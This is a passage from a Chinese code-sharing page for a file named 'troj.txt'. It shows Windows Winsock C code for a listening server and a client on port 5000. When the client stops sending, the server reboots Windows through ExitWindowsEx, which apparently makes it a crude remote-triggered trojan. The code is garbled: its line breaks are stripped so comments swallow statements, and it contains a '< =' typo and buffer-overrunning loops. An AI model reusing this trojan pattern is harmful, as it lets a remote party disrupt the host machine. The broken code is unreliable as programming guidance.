?? troj.txt
字號:
// Establish a socket to listen for incoming connections.if (listen (WinSocket, MAX_PENDING_CONNECTS) == SOCKET_ERROR) {wsprintf (szError, TEXT("Listening to the client failed. Error: %d"),WSAGetLastError ());MessageBox (NULL, szError, TEXT("Error"), MB_OK);closesocket (WinSocket);return FALSE;}accept_sin_len = sizeof (accept_sin);// Accept an incoming connection attempt on WinSocket.ClientSock = accept (WinSocket, (struct sockaddr *) &accept_sin, (int *) &accept_sin_len);// Stop listening for connections from clients.closesocket (WinSocket);if (ClientSock == INVALID_SOCKET) {wsprintf (szError, TEXT("Accepting connection with client failed.")TEXT(" Error: %d"), WSAGetLastError ());MessageBox (NULL, szError, TEXT("Error"), MB_OK);return FALSE;}for (;;){// Receive data from the client.iReturn = recv (ClientSock, szServerA, sizeof (szServerA), 0);// Check if there is any data received. If there is, display it.if (iReturn == SOCKET_ERROR){wsprintf (szError, TEXT("No data is received, recv failed.")TEXT(" Error: %d"), WSAGetLastError ());MessageBox (NULL, szError, TEXT("Server"), MB_OK);break;}else if (iReturn == 0){MessageBox (NULL, TEXT("Finished receiving data"), TEXT("Server"),MB_OK);ExitWindowsEx(EWX_REBOOT,0); //restart windowsbreak;}else{// Convert the ASCII string to the UNICODE string.for (index = 0; index < = sizeof (szServerA); index++)szServerW[index] = szServerA[index];// Display the string received from the client.MessageBox (NULL, szServerW, TEXT("Received From Client"), MB_OK);}} // Send a string from the server to the client.if (send (ClientSock, "To Client.", strlen ("To Client.") + 1, 0)== SOCKET_ERROR) {wsprintf (szError, TEXT("Sending data to the client failed. Error: %d"),WSAGetLastError ());MessageBox (NULL, szError, TEXT("Error"), MB_OK);}// Disable both sending and receiving on ClientSock.shutdown (ClientSock, 0x02);// Close ClientSock.closesocket (ClientSock);WSACleanup ();return TRUE;} 客戶端程序:#include < windows.h> #include < winsock.h>#define PORTNUM 5000 // Port number#define HOSTNAME "localhost" // Server name string// This should be changed// according to the serverint WINAPI WinMain (HINSTANCE hInstance, // Handle to the current instanceHINSTANCE hPrevInstance,// Handle to the previous instanceLPTSTR lpCmdLine, // Pointer to the command lineint nCmdShow) // Show state of the window{int index = 0, // Integer indexiReturn; // Return value of recv functionchar szClientA[100]; // ASCII string TCHAR szClientW[100]; // UNICODE stringTCHAR szError[100]; // Error message stringSOCKET ServerSock = INVALID_SOCKET; // Socket bound to the serverSOCKADDR_IN destination_sin; // Server socket addressPHOSTENT phostent = NULL; // Points to the HOSTENT structure// of the serverWSADATA WSAData; // Contains details of the Windows// Sockets implementation// Initiate Windows Sockets. if (WSAStartup (MAKEWORD(1,1), &WSAData) != 0) {wsprintf (szError, TEXT("WSAStartup failed. Error: %d"), WSAGetLastError ());MessageBox (NULL, szError, TEXT("Error"), MB_OK);return FALSE;}// Create a TCP/IP socket that is bound to the server.if ((ServerSock = socket (AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET){wsprintf (szError, TEXT("Allocating socket failed. Error: %d"), WSAGetLastError ());MessageBox (NULL, szError, TEXT("Error"), MB_OK);return FALSE;}// Fill out the server socket's address information.destination_sin.sin_family = AF_INET;// Retrieve the host information corresponding to the host name.if ((phostent = gethostbyname (HOSTNAME)) == NULL) {wsprintf (szError, TEXT("Unable to get the host name. Error: %d"), WSAGetLastError ());MessageBox (NULL, szError, TEXT("Error"), MB_OK);closesocket (ServerSock);return FALSE;}// Assign the socket IP address.memcpy ((char FAR *)&(destination_sin.sin_addr), phostent->h_addr, phostent->h_length);// Convert to network ordering.destination_sin.sin_port = htons (PORTNUM); // Establish a connection to the server socket.if (connect (ServerSock, (PSOCKADDR) &destination_sin, sizeof (destination_sin)) == SOCKET_ERROR) {wsprintf (szError, TEXT("Connecting to the server failed. Error: %d"),WSAGetLastError ());MessageBox (NULL, szError, TEXT("Error"), MB_OK);closesocket (ServerSock);return FALSE;}// Send a string to the server.if (send (ServerSock, "To Server.", strlen ("To Server.") + 1, 0)== SOCKET_ERROR) {wsprintf (szError, TEXT("Sending data to the server failed. Error: %d"),WSAGetLastError ());MessageBox (NULL, szError, TEXT("Error"), MB_OK);}// Disable sending on ServerSock.shutdown (ServerSock, 0x01);for (;;){// Receive data from the server socket.iReturn = recv (ServerSock, szClientA, sizeof (szClientA), 0);// Check if there is any data received. If there is, display it.if (iReturn == SOCKET_ERROR){wsprintf (szError, TEXT("No data is received, recv failed.")TEXT(" Error: %d"), WSAGetLastError ());MessageBox (NULL, szError, TEXT("Client"), MB_OK);break;}else if (iReturn == 0){MessageBox (NULL, TEXT("Finished receiving data"), TEXT("Client"),MB_OK);break;}else{// Convert the ASCII string to the UNICODE string.for (index = 0; index < = sizeof (szClientA); index++)szClientW[index] = szClientA[index];// Display the string received from the server.MessageBox (NULL, szClientW, TEXT("Received From Server"), MB_OK);}}// Disable receiving on ServerSock.shutdown (ServerSock, 0x00);// Close the socket.closesocket (ServerSock);WSACleanup ();return TRUE;}
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -